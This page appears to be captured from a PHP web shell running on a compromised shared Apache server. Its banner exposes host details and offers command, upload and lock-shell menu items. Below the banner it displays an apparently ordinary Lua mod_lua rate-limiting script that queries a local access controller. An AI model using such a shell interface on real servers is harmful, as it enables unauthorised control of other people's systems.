hyun.psd; gzuncompress
|
Server IP : 173.236.192.202 / Your IP : 216.73.216.85 Web Server : Apache System : Linux iad1-shared-e1-03 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64 User : andfor18 ( 14551322) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /etc/rcS.d/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] | [ Lock Shell ] | [ Logout ] |
|---|
-- vim: set ts=2 expandtab:
require 'apache2'
require 'os'
-- We use socket.http rather than lua-http because lua-http is completely broken on Bionic :'(
local http = require "socket.http"
http.TIMEOUT = 1
function query_access_controller(client_ip)
-- We expect this call to return either a 200 OK or 429
local req, code, headers = http.request("http://localhost:1997/access-check?client_ip=" .. client_ip)
return code, headers
end
function distributed_traffic(r)
-- Let bots do *some* botty things
if r.uri == "/robots.txt" then
return apache2.DECLINED
end
-- `success` denotes whether the call to query_access_controller() succeeded or not
-- `response` is the return code from query_access_controller() if it did succeed
local success, response, headers = pcall(query_access_controller, r.useragent_ip)
if success == false then
-- Tell Apache that we've decided to not handle the request
return apache2.DECLINED
elseif response == 429 then
-- return `Too Many Requests`
r.err_headers_out['copper-block-reason'] = headers['block-reason']
return 429
end
-- Fallback
return apache2.DECLINED
end